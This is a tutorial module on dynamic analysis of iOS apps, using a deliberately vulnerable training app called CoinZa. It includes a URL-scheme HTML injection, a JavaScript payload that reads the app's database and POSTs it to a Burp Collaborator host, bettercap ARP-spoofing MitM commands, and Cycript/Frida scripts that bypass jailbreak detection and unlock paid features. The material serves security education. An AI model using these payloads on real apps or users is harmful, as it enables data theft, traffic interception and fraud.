Module 4 - Dynamic Analysis and Hacking
As you could see in the previous module, I personally love to perform static analyses on iOS applications. But most of the security researchers and hackers prefer the dynamic analyses of systems. This is where you get to write code for exploits, run the applications and verify if they are vulnerable. This is a very interactive step and instead of seating down and reading assembly code or reading .json/.plist files, you get to inject code into the running application or send data to it and analyze how it parses and reacts to it.
One of the biggest differences between performing a dynamic analysis on an Android application vs an iOS application is the fact that in 99.9% of the time, on iOS, you need a physical device. This is because all the applications that you download from the App Store are compiled for an ARM architecture and the iOS simulators use your computer chip, meaning they have an x86 or x86_64 architecture.
The second obstacle you'll face is that, although it's not necessary, you probably will need that physical device to be jailbroken. This is because, as you learned in Module 2, all applications downloaded from the App Store are encrypted. Meaning, if you are not able to get a decrypted version of the application you want to analyze, you'll need to decrypt it yourself.
Note: For the exercises in this module you need a device, but it doesn't need to be jailbroken for all the exercises because you'll be using the same CoinZa.ipa application which is already decrypted. You'll only need a jailbroken device for the Cycript and Frida exercises.
The exercises in this module are going to be different from the previous module. I'm going to present you a list of vulnerabilities, explaining you what the vulnerability is and how to exploit it, then you can test it on your own device.
Installing CoinZa on your device
To do the exercises in this module you'll need to first install the CoinZa application on your device. Luckily is super simple.
- If you haven't already, sign up for an
Apple Developer Accounthere (click on theAccounttab), it's free. - Connect your device to your computer.
- Open
Cydia Impactorand drag-n-drop theCoinZa.ipa. Important it has to be the original.ipayou downloaded here and not the binary you extracted. (Cydia Impactor needs paid developer account($99), free account doesn't work). - Enter your developer username and password and wait for
Impactorto load install the application on your device. - Troubleshooting:
- If
Impactorsays your password is incorrect (and you're 100% sure it's not) or something about an "app-specific password". It probably means you need to generate an app-specific password, here's a tutorial on how to do it. - If
Impactorshows an error about a certificate request already in place:- On the top menu select
Xcode. - Select
Revoke Certificates. - SUPER IMPORTANT: This is probably not a new developer account, what this action will do is revoke the signing certificates for that account.
- On the top menu select
- If after
Impactoris done installing the application, you tap on its icon and iOS says something about the application not being trusted:- Open the
Settingsapp. - Select
General. - Scroll down and select
Profiles & Device Management. - In the
Developer Appsection, select your developer account. - Tap
Trustand confirm.
- Open the
- file installer.cpp line 71 what _assert( teams.empty()), means need paid account, free account doesn't work.
- If
URL Scheme injection
As you discovered in the static analysis step, the CoinZa application uses custom Scheme URLs and if you use what you learned in Module 3 and open the application binary in Hopper (or Ghidra), search for the AppDelegate class, select the application:openURL:options: method and open it in the pseudo-code mode you can find:
r2 = @"news";
if (objc_msgSend(r19, @selector(containsString:)) != 0x0) {
r2 = @"news";
r20 = [[r19 stringByReplacingOccurrencesOfString:@"news/" withString:@""] retain];
r23 = [[NSBundle mainBundle] retain];
r22 = [[UIStoryboard storyboardWithName:@"Main" bundle:r23] retain];
r0 = [r22 instantiateViewControllerWithIdentifier:@"WebViewController"];
r23 = r0;
r0 = [r0 configureWithHTMLString:r20];
r24 = [[UINavigationController alloc] initWithRootViewController:r23];
r0 = [r21 window];
r25 = [[r0 rootViewController] retain];
r0 = [r25 topViewController];
r0 = objc_msgSend(r0, @selector(presentViewController:animated:completion:));
}
- I cleaned up the code by removing some instructions. Most of the code is self-explanatory but if you're new to iOS and/or Objc, you might not know what a
UIStoryboardor aUINavigationControllerare. That's okay, you can just read the documentation. But to save you time, I'll explain what's going on in this code snippet:- I didn't copy it here, but the register 19 (
r19) is the URL passed as part of theURL Type. Basically a string looking like thiscoinza://<something>. - First there's a check if
r19contains the string"news". - If it doesn't, it just bypasses all this code.
- If it does, it removes all the occurrences of the string
"news/"fromr19and assigns the result tor20. - Then it creates an instance of a view controller called
WebViewController. Presumably, based on its name, it's a view controller that loads a WebView. - Then it calls a method named
configureWithHTMLString:. We can assume this method is expecting a string that contains HTML code. The important thing to realize is that the HTML this class is expecting comes fromr20, which we saw is the result of removing the string"news/"from the original passed in URL. This URL is controlled by the attacker! - Then performs a bunch of not so important instructions.
- And finally it calls a method named
presentViewController:animated:completion:which presents theWebViewController.
- I didn't copy it here, but the register 19 (
- How: Testing this vulnerability is very simple. With the
CoinZaapplication installed on your device:- Open
Mobile Safariand paste this string:<html><body><script>document.location = 'https://google.com';</script></body></html>. - You'll have to encode the URL first, the encoded version will look like this:
coinza://news/%3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20%27https%3A%2F%2Fgoogle.com%27%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E - After pasting the encoded string in
Mobile Safari, pressGo. - Confirm that you want to open the
CoinZaapplication. - That's it! The
CoinZaapplication will be launched and it will present a WebView screen called"News"and it will be redirected to thegoogle.comwebsite.
- Open
- The problem: The application is trusting any string after the
coinza://and displaying it directly in a WebView. This is very similar to a web vulnerability called Open Redirect that allows attackers to redirect a user from a legitimate website to a malicious one. This vulnerability can be used to perform phishing attacks.
Extracting files using Javascript (XSS)
After identifying that the application takes arbitrary HTML code and displays it on a WebView, you can start testing what access does this WebView give you to its internal files. All iOS applications by default have these directories for storing data:
- Documents: This directory is used to store user generated data. This is data the application cannot replicate on its own. For example pictures taken by the user, or a database containing the messages a user sends and receives. This directory is backed up in iCloud or iTunes when a device backup is created.
- Library: This directory is used to store data that is not generated by the user but is not generated solely by the application. For example application logs, analytics logs are commonly stored here. iOS also creates 2 subdirectories called Application Support and Caches. With the exception of the Caches directory, all the subdirectories and files in this directory are backed up in iCloud or iTunes when a device backup is created.
- tmp: As the name suggests, this directory is used to store temporary data. The application should not rely on data stored here. This directory is not backed up at all when a device backup is created.
- Based on this information you can see that the perfect place to store a database containing the user data is in
Documents. In the static analysis mode you discovered a secret key calledSQLCIPHER_KEY, this gave you a hint that the application is probably using the SQLCipher library thus a local database could exist. To be absolutely sure this is the case open the application binary inHopper(orGhidra), search forUtils, select theinitDatabasemethod and open it in thepseudo-codemode you can find:
+(void)initDatabase {
r0 = [NSBundle mainBundle];
r19 = [[r0 objectForInfoDictionaryKey:@"SQLCIPHER_KEY"] retain];
r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);
r0 = [r0 objectAtIndex:0x0];
r22 = [[r0 stringByAppendingPathComponent:@"sqlcipher.db"] retain];
r20 = r0;
objc_msgSend(r0, @selector(UTF8String));
if (sub_10004af04() == 0x0) {
r21 = @selector(UTF8String);
r0 = objc_msgSend(r0, r21);
sub_10003804c(var_38, r0, strlen(r0));
objc_retainAutorelease(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );");
sub_10003ad1c(var_38, objc_msgSend(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );", r21), 0x0, 0x0, 0x0);
sub_100049604();
}
}
- Again, I've cleaned up the code by removing some instructions. But let me explain what's going on here:
- The first thing the method is doing is getting the secret key you found in the
Info.plistearlier. As you can read in the documentation theobjectForInfoDictionaryKey:method returns a value in the application'sInfo.plistdetermined by the key passed in as the first parameter, which in this case is@"SQLCIPHER_KEY". - Then, as you can read in the documentation, the method
NSSearchPathForDirectoriesInDomainswill return a list of path strings for the specified directories. The directory is determined by the first parameter, in this case it's an integer enumerated type (or enum) with a value of Hex0x9(which is9in decimal). If you search the documentation it says that's theNSDocumentDirectoryenum. - Then the code appends the path component
@"sqlcipher.db"to the end of the documents path, via thestringByAppendingPathComponent:method. Ending up with something like/<something>/Documents/sqlcipher.db - Then if the return value of
sub_10004af04()is zero ornil, it creates an SQL table calledWalletswith 4 columns:publicKey,privateKey,usernameandbalance.
- The first thing the method is doing is getting the secret key you found in the
- You can now confirm, with high confidence, there's a database store in the
Documentsfolder of the application. - Since you know the application is rendering
HTML(andJavascript) from data you can control, you can try insertingJavascriptcode that will read a file from theDocumentsfolder. - To save you time, I've written the following code:
<html> <body> <script> function loadFile() { var xmlhttp = new XMLHttpRequest(); documentsPath = document.URL.split('/').slice(0, -1).join('/'); filePath = documentsPath + '/' + 'sqlcipher.db'; xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { if (xmlhttp.responseText.length > 0) { var xmlhttp2 = new XMLHttpRequest(); xmlhttp2.open("POST","http://<some-id>.burpcollaborator.net",false); xmlhttp2.send(xmlhttp.responseText); } } }; xmlhttp.onerror = function() { alert('Error! ' + filePath); } xmlhttp.open('GET', filePath, true); xmlhttp.send(); } window.onload = loadFile; </script> <p> Hello World </p> </body> </html> - Let me explain what's going on:
- I created a
Javascriptfunction calledloadFile. This function creates an instance ofXMLHttpRequest, which is used to retrieve data from a URL. It was originally created to avoid reloading entire webpages to show data to the user. But it works perfect for our purpose because at its most basic level, it just retrieves data from a URL. - The
document.URL.split('/').slice(0, -1).join('/')is a chain of function calls that remove the last component of a website's URL, for example if the website URL ishttps://example.com/index.html, these operations would returnhttps://example.com. I'm doing this to get the root of the directory where the currently rendered webpage is. - After getting the root directory I append the name of the database, which you previously found is
sqlcipher.db. - Then I implement the
onreadystatechangecallback function and if the request'sreadyStateis4(based on the documentation this means theXMLHttpRequestinstance is done processing the data in the URL). - If the size of the
responseTextis grater than zero then send the data to a remote server. In this case you can use Burp Collaborator or any server you control, like the Mac built-in server. - Then I handle errors.
- And finally setup the
XMLHttpRequestwith the database URL and call thesend()function to start the operation.
- I created a
- Similar to the the previous vulnerability to send this request you'll need to URL-encode it. Unlike the previous vulnerability, I don't provide the encoded version because this will be unique to your needs because of the remote server's URL.
- Once you've setup your remote server and encoded the
HTMLandJavascriptcode you can again openMobile Safariand past the payload. Remember to add thecoinza://news/custom scheme URL to the begining of the encoded code. - The problem: This is the same problem as the previous example, but the vulnerability escalated to local file access. And to add to this problem, remember you found the hardcoded secret key for the
SQLCipherdatabase? in this case an attacker would be able to obtain the database and because every single install uses the same encryption key, they can decrypt the database and obtain all the information, which you already saw contains theprivateKeyof the user's wallets.
Man-in-the-Middle attack
In one of the vulnerabilities I described in Module 3 was in the AFNetworking framework. This vulnerability allowed attackers to provide applications with fake or invalid TLS/SSL certificates and the application would gladly accept them. This is referred to as a Man-in-the-Middle attack or MitM attack for short. Imagine you want to connect to my website https://ivrodriguez.com, right now it would serve you with a Let's Encrypt TLS certificate. But if you are under a MitM attack, you'd receive a different certificate, for example from Evil Corp Inc., claiming that it is the valid certificate for https://ivrodriguez.com, hopefully your browser would reject that connection. But for iOS applications running the version 2.5.1 of AFNetworking, the connection would be accepted. Note: If your device is jailbroken you won't be able to perform all the steps in this exercise because the application has a jailbreak detection. You can jump to the Cycript exercise if you want to learn how to disable the jailbreak detection and then come back to this exercise.
- Open the application binary in
Hopper(orGhidra), search for theUtilsclass, select thedownloadWhitePaper:method and you'll find:+(void)downloadWhitePaper:(void )arg2 { r20 = [[AFURLSessionManager alloc] initWithSessionConfiguration:[[NSURLSessionConfiguration defaultSessionConfiguration] retain]]; r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1); r22 = [[r0 firstObject] retain]; r25 = [[self whitepaperName] retain]; r23 = [[r22 stringByAppendingPathComponent:r25] retain]; r26 = [[NSURL fileURLWithPath:r23] retain]; [self removeFileIfExistsAtPath:r26]; r25 = [[NSURLRequest requestWithURL:[[NSURL URLWithString:@"https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html"] retain]] retain]; r0 = [r20 downloadTaskWithRequest:r25 progress:0x0 destination:&var_78 completionHandler:&var_A0]; r0 = [r0 retain]; objc_msgSend(r0, @selector(resume)); } - As you can see this method is using the
AFURLSessionManagerto download a file from a remote URL. - If you open the application binary in
Hopper(orGhidra), search for theInitialViewControllerclass, select theviewDidLoadmethod and you'll find that this method is called there:-(void)viewDidLoad { [[&var_30 super] viewDidLoad]; [r19 setTitle:@"CoinZa"]; if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) { //spoiler alert for Jailbroken devices ;) } else { : : objc_msgSend(@class(Utils), @selector(downloadWhitePaper:)); } } - This means that every time the
InitialViewController's view is loaded, the application will download thecoinza.htmlfile. This gives an attacker a window to remotely attack a user, because they can perform a MitM attack and return a malicious version of thecoinza.htmlfile. - Using
bettercapyou'll be able to target a remote user's device and serve fake TLS certificates and sniff their HTTP and HTTPS traffic.- Open the
Settingsapplication, navigate toWi-Fi, tap on your WiFi's SSID and copy your device's IP. - On your computer, run
bettercapand enter your root password:
sudo bettercap -eval "set arp.spoof.targets <Device-IP>; arp.spoof on; https.proxy on" --debug Password:- You should see something like this:
[20:41:19] [mod.started] net.recon [20:41:19] [session.started] {session.started [some date]] PDT <nil>} [20:41:19] [mod.started] events.stream [20:41:19] [mod.started] net.recon [20:41:19] [sys.log] [dbg] arp.spoof addresses=[redacted] macs=[] whitelisted-addresses=[] whitelisted-macs=[] [20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.). [20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.). [20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.). [20:41:19] [sys.log] [inf] arp.spoof enabling forwarding [20:41:19] [mod.started] arp.spoof [20:41:19] [sys.log] [inf] https.proxy loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem [20:41:19] [sys.log] [inf] https.proxy loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem [20:41:19] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets. [20:41:19] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted]. [20:41:19] [sys.log] [inf] http.proxy enabling forwarding. [20:41:19] [sys.log] [dbg] http.proxy applied redirection [en2] (TCP) :443 -> [redacted]:8083 [20:41:19] [mod.started] https.proxy [20:41:19] [sys.log] [inf] https.proxy started on [redacted]:8083 (sslstrip disabled) [redacted] > [redacted] » [20:41:20] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted]:21. [redacted]/24 > [redacted] » [20:41:21] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].- Open the
CoinZaapplication on your phone and you should see some logs like these:
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy proxying connection from [redacted] to raw.githubusercontent.com [redacted]/24 > [redacted] » [20:41:24] [sys.log] [inf] https.proxy creating spoofed certificate for raw.githubusercontent.com:443 [redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] Fetching TLS certificate from raw.githubusercontent.com:443 ... [redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy < GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html [redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy > GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html [redacted]/24 > [redacted] » [20:41:25] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].- You can verify that the application accepted the certificate provided by
bettercapbecause if you tap on theRead our whitepaperbutton, the document shown there is thecoinza.htmlfile the application just downloaded. Since on line 7 of thepseudo-codeyou can see theremoveFileIfExistsAtPath:method is called, it means that if anHTMLfile is shown it has to be a fresh download. - If you open any other application it will, hopefully, not be able to reach their server because
bettercapis giving a spoofed certificate for their domain. For exampleTwitterfails to load.
- Open the
- With this approach you can serve a malicious file to the
https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.htmlrequest. This would be another way to achieve the same result as the previous hack where you injectedJavascriptcode via custom scheme URLs, except this time you'd provide the code via this malicious file. - The problem: As you can see this is a very dangerous vulnerability that can be exploited remotely and the user wouldn't even notice the attack. In this case I showed the vulnerability by downloading a file, but in a real world scenario the requests would be bank accounts information, medical data, social media posts, etc. It's very important for developers to properly review 3rd party frameworks. Like I said before, the moment a developer includes a 3rd party framework in their application, it becomes their responsibility to maintain up-to-date and in this case the developer clearly failed to do so.
Bypassing jailbreak detection with Cycript
Since you need a jailbroken device for this exercise, I'm assuming you've been using a jailbroken device so far. This means that you probably haven't been able to use all the features of the application because it has a Jailbreak detection feature that prevents you from using it. But in this exercise I'll show you how to bypass this detection. Cycript will help you manipulate iOS applications at runtime. It means that while the application is running you'll be able to modify its behavoiur. You need a jailbroken device for this exercise. Note: Many people don't realize that it should actually be pronounced ssss-crypt as you can read here you can also hear Jay Freeman (aka Saurik), who is the Cycript author, pronouncing it in this video from the 2013 360|iDev conference.
- Open the application binary in
Hopper(orGhidra), search for theInitialViewControllerclass, select theviewDidLoadmethod and you'll find the jailbreak detection:if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) { [r19 setCollectionView:0x0]; [[UIAlertController alertControllerWithTitle:@"CoinZa" message:@"Sorry not sorry." preferredStyle:0x1] retain]; objc_msgSend(r19, @selector(presentViewController:animated:completion:)); [r20 release]; } - As you can see the application is using the
isJailbrokenmethod from theUtilsclass to determine if the device is jailbroken. Many developers do this hoping that people won't be able to use their application on jailbroken devices, but as all client-side checks on iOS applications, with determination, time and good skills they all can be bypassed.
If your device's iOS version < 11.0
- Run
iTunnelto forward your SSH traffic via USB:itnl --lport 2222 --iport 22 - SSH into your device:
ssh -p 2222 root@localhost - Open the
CoinZaapplication by tapping on its icon. - Inject
Cycriptinto the running application:cycript -p CoinZa- If this fails, you can search for the application process id (
pid):ps aux | grep CoinZa - Copy the
pidand pass it toCycriptcycript -p 1427
- If this fails, you can search for the application process id (
- You have now an interactive console that you can use to send commands to the
CoinZaapplication.
If your device is on iOS 11.x
- Run
iTunnelto forward your SSH traffic via USB:itnl --lport 2222 --iport 22 - SSH into your device:
ssh -p 2222 root@localhost - Open the
CoinZaapplication by tapping on its icon. - Use
bfinjectto injectCycriptinto the running application:cd /jb/bfinject bash bfinject -P CoinZa -L cycript - On your device you should see a popup saying that
Cycriptwas loaded and that it is now listening on port1337at the device's IP.- If this step fails, simply force close the application, relaunch it and run the command again.
- On your computer you can now use
Cycriptto remotely connect to the application using the IP and port shown on the popup bybfinjecton your device:cycript -r <Device-IP>:1337 - You have now an interactive console that you can use to send commands to the
CoinZaapplication. - If you get the followign error:
dyld: Library not loaded: /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/lib/libruby.2.0.0.dylib
Referenced from: /usr/local/bin/Cycript.lib/cycript-apl
Reason: image not found
Abort trap: 6
- Install Ruby 2.0:
brew install ruby@2.0
- Copy the library to
Cycript.lib
cp /usr/local/Cellar/ruby\@2.0/2.0.0-p648_7/lib/libruby.2.0.0.dylib /usr/local/bin/Cycript.lib/
Note: Haven't been able to get cycript/BFInject to work on iOS 12.x but runtime manipulation on Cycript can be done on Frida (see below).
Any version of iOS
- Now that you have an interactive console via
Cycriptwe can start by removing that annoying popup. First we are going to use thechoosefunction to get all the instances of theUIAlertControllerclass. Thechoosefunction reads the provided class signature and searches the memory for objects that have a similar signature and returns an array of all the objects it can find:cy$ choose(UIAlertController)- It should return something similar to
[#"<UIAlertController: 0x1727b200>"], it means that there's only one instance ofUIAlertControllerin memory. This makes sense since that's literally all we see on screen at the moment.
- It should return something similar to
- You can access the instance by its index, as you would on a
Javascriptarray, and assign it to a variable:cy$ var alert = choose(UIAlertController)[0] - Then dismiss the alert by calling the Objc method
dismissViewControllerAnimated:completion:on the variable:cy$ [alert dismissViewControllerAnimated:YES completion:nil]- You should see the alert disappear from your device's screen! This is just a taste of the power of
Cycript, you are literally modifying the behavoiur of the application.
- You should see the alert disappear from your device's screen! This is just a taste of the power of
- But after this you still can't see anything. The problem is that like you saw from the
pseudo-code, the view controller has the jailbreak detection in itsviewDidLoadmethod. This means it's now too late to modify that behavoiur. But you can create a newInitialViewControllerinstance and present it right?! - Before doing that though, you need to patch the
+[Utils isJailbroken]method, otherwise this new instance will also display a popup. To do you need to override the method implementation:cy$ Utils.constructor.prototype['isJailbroken'] = function() { return NO; }- This is how you replace method implementations with
Cycript. Since this is a class method we use theconstructorkeyword, for instance methods just remove that keyword and useClassName.prototype['methodName']
- This is how you replace method implementations with
- You can test the new returned value by calling the method:
cy$ [Utils isJailbroken] - Now that you've modified the returned value of the
isJailbrokenmethod, you can create the newInitialViewControllerinstance:cy$ var storyBoard = [UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]] cy$ var initVC = [storyBoard instantiateViewControllerWithIdentifier:@"InitialViewController"] cy$ navCon = [[UINavigationController alloc] initWithRootViewController:initVC]- Don't worry if you are a bit confused with this code, it's just iOS idiom for creating a view controller. Note: If this is the case, I'd suggest taking a few courses on iOS development so that it would help your research.
- Present it and you can finally start using the application:
cy$ var app = [UIApplication sharedApplication] cy$ var del = [app delegate] cy$ del.window.rootViewController = navCon
Enabling 'ProVersion' features with Frida
If you've played around with the CoinZa application, you've probably noticed that you can create Wallets and you can increase their balance by entering a fake credit card (actually you don't even need the credit card information).
- This time I'll show you the assembly code because the
pseudo-codeis a bit hard to understand and it makes it kind of difficult to show you what the application is doing. Open the application binary inHopper(orGhidra), search for theWalletDetailViewControllerclass, select thedidUpdateWalletBalance:method and theControl Flow Graph(orCFG Mode) tab, this is the tab betweenASM ModeandPseudo-cod Mode. Then look at the left branch of the flow:[1] adrp x8, #0x1001ad000 [2] ldr d0, [x8, #0x2f0] ; double_value_1_2 [3] fmul d8, d8, d0 [4] ldr x0, [x8, #0x910] ; argument "instance" for method imp___stubs__objc_msgSend, objc_cls_ref_NSString,_OBJC_CLASS_$_NSString [5] adrp x8, #0x1001f0000 [6] ldr x1, [x8, #0x500] ; argument "selector" for method imp___stubs__objc_msgSend, "stringWithFormat:",@selector(stringWithFormat:) [7] str d8, [sp, #0x60 + var_60] [8] adrp x2, #0x1001c5000 ; 0x1001c5f98@PAGE [9] add x2, x2, #0xf98 ; 0x1001c5f98@PAGEOFF, @"Since you are a pro user we added an extra 20%% and it's on us!\\nYour balance will actually increase by US$%f." [10] bl imp___stubs__objc_msgSend ; objc_msgSend [11] mov x29, x29- In the instruction
[2]it loads a value1.2tod0. - In the instruction
[3]you can see the assembly instructionfmulwhich, based on the ARM documentation, is afloating-pointmultiplication instruction, in this case it will multiplyd0andd8and store it ind8.d0is the1.2value andd8is where the original value of the balance is stored. - What you can get from this is that if the
isProVersionflag is true, the balance is increased by 20% because the original amount is multiplied by1.2.
- In the instruction
- In a real life scenario this would be literally free money and the check is done on the client side, there would be a very good incentive to force the application to "believe" this is a
ProVersion. - While you're still in
Hopper(orGhidra) looking atWalletDetailViewController, select thepseudo-codetab and you'll see something similar to this:r0 = [NSUserDefaults standardUserDefaults]; r2 = @"isProVersion"; if (objc_msgSend(r0, @selector(boolForKey:)) != 0x0) { r8 = 0x1001f0000; r2 = @"isProVersion"; r1 = @selector(stringWithFormat:); r2 = @"Since you are a pro user we added an extra 20%% and it's on us!\nYour balance will actually increase by US$%f."; r0 = objc_msgSend(@class(NSString), r1); }- This means that the value for
isProVersionis a bool value saved inNSUserDefaults. You just need to set this value to true and you'll be able to "get free money" or more accurately, enable the pro version.
- This means that the value for
If your jailbreak includes Cydia
- You should be all set because in Module 1 you installed
Frida.
If your jailbreak doesn't include Cydia or is NOT jailbroken
- You'll need to perform a few extra steps before you can start using
Frida. - Download the latest version of
Frida's dynamic library (aka dylib) from here. - If you don't have a unmodified version of the unzipped application, unzip the
CoinZa.ipaapplication:mv CoinZa.ipa CoinZa.zip unzip CoinZa.zip - Copy the
FridaGadget.dylibto theFrameworks/folder within theCoinZaapplication.cp FridaGadget.dylib Payload/CoinZa.app/Frameworks - Clone the latest version of
insert_dyliband build it usingxcodebuild(you need Xcode to be installed for this to work):git clone https://github.com/Tyilo/insert_dylib cd insert_dylib xcodebuildinsert_dylibis a command line tool that allows you to insertdylibsinto Mach-o binaries (for example iOS applications).
- After you've cloned and built
insert_dylib, insert theFridaGadget.dylib:./insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/CoinZa.app/CoinZa- If you move the
insert_dylibexecutable to/usr/local/bin/you'll be able to run the command from any directory and without the./prefix:mv insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib
- If you move the
- Repackage the application:
zip -qry CoinZa-Frida.ipa Payload - Now you can use
Cydia Impactorto resign and install the application on your device. (Just like you did with the original version ofCoinZa.app).
With Frida setup completed
- The first thing you need to do is the same steps you did with
Cycript, dismiss the popup and disable the jailbreak detection. - Open the application on your device by tapping its icon.
- Connect your device to your computer.
- Connect to Frida from your computer there's no need for
iTunnel, simply:frida -U CoinZa - To dismiss the popup we are going to use the following code:
var alertController = ObjC.classes.UIAlertController ObjC.choose(alertController, { onMatch: function (alert) { alert.dismissViewControllerAnimated_completion_(true, NULL); return 'stop'; }, onComplete: function () { console.log('[+] Done dismissing annoying alert!'); } });- This snippet of code is using the
ObjC.choosefunction to iterate over the application memory and identifying objects that match theObjC.classes.UIAlertControllersignature. It is similar toCycript'schoose, except that this function returns every value by calling theonMatchcallback. This iterator can be stopped by returning the stringstopand since I know there's only oneUIAlertControllerI stop after the first one is found.
- This snippet of code is using the
- The next step is to disable the jailbreak detection by overriding the
[Utils isJailbroken]method, exactly the same as you did withCycript. In Frida this is how you override returned values:function bypassJailbreakDetection() { try { var hook = ObjC.classes.Utils['+ isJailbroken']; Interceptor.attach(hook.implementation, { onLeave: function(oldValue) { _newValue = ptr("0x0") ; oldValue.replace(_newValue); } }); } catch(err) { console.log("[-] Error: " + err.message); } }- First you have to get a reference to the method you want to override and then in the
onLeavecallback you return the new value.
- First you have to get a reference to the method you want to override and then in the
- And to finalize the same steps you did with
Cycript, all is left is for you to present the newInitialViewController:function presentInitialVC() { var storyboardClass = ObjC.classes.UIStoryboard; var bundleClasss = ObjC.classes.NSBundle; var navConClass = ObjC.classes.UINavigationController; var applicationClass = ObjC.classes.UIApplication; var storyboard = storyboardClass.storyboardWithName_bundle_('Main',bundleClasss.mainBundle()); var initialVC = storyboard.instantiateViewControllerWithIdentifier_('InitialViewController'); var navCon = navConClass.alloc().initWithRootViewController_(initialVC); applicationClass.sharedApplication().keyWindow().rootViewController().presentViewController_animated_completion_(navCon, true, NULL); } - Up until this point all you've done is following the same steps that you did with
Cydiabut withFrida's interactive console. But you have one step left, enabling the pro version:function setProVersion() { var userDefaultsClass = ObjC.classes.NSUserDefaults.standardUserDefaults(); userDefaultsClass.setObject_forKey_('YES', 'isProVersion'); } - Now if you increase the balance of any wallet you'll get an extra 20% for free!
- You can find a script with all these snippets together in here and you can load it with
Fridalike this:frida -U -l coinza.js CoinZa
Conclusions
- For the majority of researchers and hackers I've met, the dynamic analysis is their favourite part of this whole process. I can't blame them, executing code, sending data, remotely sniffing traffic, all of these are exciting hacks.
- On the other hand, I hope all these cases show the importance of having a security mindset when developing iOS applications and mobile applications in general. Specially because, like all the issues I showed you during the static analysis, I've seen all of these vulnerabilities in real world applications.
- After spending some time understanding how an application was built, attacking its runtime is super fun and in some cases could lead to free stuff. Note: if you ever find an issue with client-side checks, please report it to the author(s) instead of just exploit it for your benefit. 😉

